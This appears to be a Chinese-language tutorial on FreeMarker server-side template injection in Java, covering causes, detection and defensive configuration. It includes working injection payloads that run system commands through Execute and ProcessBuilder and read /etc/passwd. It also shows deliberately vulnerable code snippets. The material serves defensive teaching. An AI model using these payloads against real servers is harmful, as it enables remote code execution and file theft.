Java安全 - FreeMarker模版注入浅析
字数 1110 2025-08-19 12:42:40

FreeMarker模板注入漏洞分析与防御

一、FreeMarker简介

FreeMarker是一款基于Java的模板引擎,主要用于MVC模式的Web开发中生成动态HTML页面。它通过将模板与数据模型结合来生成输出文本。

二、FreeMarker模板注入原理

FreeMarker模板注入(FreeMarker Template Injection, FTI)是一种服务器端模板注入(SSTI)漏洞,当攻击者能够控制模板内容或模板中的表达式时,可以执行任意代码。

注入点产生原因

  1. 直接使用用户输入作为模板内容
  2. 用户输入被拼接进模板表达式
  3. 不安全的配置导致内置危险方法可被调用

三、漏洞利用方式

基本注入语法

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("whoami") }

常用危险类和方法

  1. freemarker.template.utility.Execute - 执行系统命令
  2. freemarker.template.utility.ObjectConstructor - 构造任意对象
  3. freemarker.template.utility.JythonRuntime - 执行Python代码

实际利用示例

// 执行系统命令
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

// 创建任意对象
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()> 
${ ob("java.lang.ProcessBuilder","calc").start() }

// 读取文件内容
<#assign f="freemarker.template.utility.ObjectConstructor"?new()> 
${ f("java.io.File","/etc/passwd").getText() }

四、漏洞检测方法

  1. 基本检测:${7*7} 观察是否返回49
  2. 表达式检测:<#assign a="freemarker.template.utility.ObjectConstructor"?new()> 观察是否报错
  3. 完整检测:尝试执行无害命令如whoami

五、防御措施

1. 输入验证与过滤

  • 对用户输入进行严格过滤,特别是<#${等模板语法标记
  • 使用白名单机制限制允许的字符

2. FreeMarker安全配置

// 禁用危险内置方法
Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

// 或完全禁用所有内置方法
cfg.setNewBuiltinClassResolver(TemplateClassResolver.NOOP_RESOLVER);

3. 沙箱环境

  • 使用FreeMarker的沙箱功能限制模板执行权限
  • 配置模板加载器为安全模式

4. 其他措施

  • 避免将用户输入直接作为模板内容
  • 使用静态模板,动态内容仅作为数据传入
  • 定期更新FreeMarker版本,修复已知漏洞

六、实际案例分析

案例1:用户输入直接作为模板

String templateContent = request.getParameter("template");
Template template = new Template("name", new StringReader(templateContent), cfg);

漏洞原因:用户可完全控制模板内容,可插入任意FreeMarker代码。

案例2:表达式注入

String username = request.getParameter("username");
String template = "Welcome ${" + username + "}!";

漏洞原因:用户输入被直接拼接进表达式,可闭合原有表达式插入恶意代码。

七、FreeMarker安全开发最佳实践

  1. 始终使用预定义的静态模板
  2. 将用户输入作为数据模型传递,而非模板内容
  3. 启用FreeMarker的安全配置
  4. 避免字符串拼接构建模板
  5. 定期审计模板使用代码

八、参考资源

  1. FreeMarker官方安全文档
  2. OWASP SSTI防御指南
  3. FreeMarker CVE漏洞列表

通过以上措施,可以显著降低FreeMarker模板注入的风险,确保应用安全。

FreeMarker模板注入漏洞分析与防御 一、FreeMarker简介 FreeMarker是一款基于Java的模板引擎,主要用于MVC模式的Web开发中生成动态HTML页面。它通过将模板与数据模型结合来生成输出文本。 二、FreeMarker模板注入原理 FreeMarker模板注入(FreeMarker Template Injection, FTI)是一种服务器端模板注入(SSTI)漏洞,当攻击者能够控制模板内容或模板中的表达式时,可以执行任意代码。 注入点产生原因 直接使用用户输入作为模板内容 用户输入被拼接进模板表达式 不安全的配置导致内置危险方法可被调用 三、漏洞利用方式 基本注入语法 常用危险类和方法 freemarker.template.utility.Execute - 执行系统命令 freemarker.template.utility.ObjectConstructor - 构造任意对象 freemarker.template.utility.JythonRuntime - 执行Python代码 实际利用示例 四、漏洞检测方法 基本检测: ${7*7} 观察是否返回49 表达式检测: <#assign a="freemarker.template.utility.ObjectConstructor"?new()> 观察是否报错 完整检测:尝试执行无害命令如 whoami 五、防御措施 1. 输入验证与过滤 对用户输入进行严格过滤,特别是 <# 、 ${ 等模板语法标记 使用白名单机制限制允许的字符 2. FreeMarker安全配置 3. 沙箱环境 使用FreeMarker的沙箱功能限制模板执行权限 配置模板加载器为安全模式 4. 其他措施 避免将用户输入直接作为模板内容 使用静态模板,动态内容仅作为数据传入 定期更新FreeMarker版本,修复已知漏洞 六、实际案例分析 案例1:用户输入直接作为模板 漏洞原因 :用户可完全控制模板内容,可插入任意FreeMarker代码。 案例2:表达式注入 漏洞原因 :用户输入被直接拼接进表达式,可闭合原有表达式插入恶意代码。 七、FreeMarker安全开发最佳实践 始终使用预定义的静态模板 将用户输入作为数据模型传递,而非模板内容 启用FreeMarker的安全配置 避免字符串拼接构建模板 定期审计模板使用代码 八、参考资源 FreeMarker官方安全文档 OWASP SSTI防御指南 FreeMarker CVE漏洞列表 通过以上措施,可以显著降低FreeMarker模板注入的风险,确保应用安全。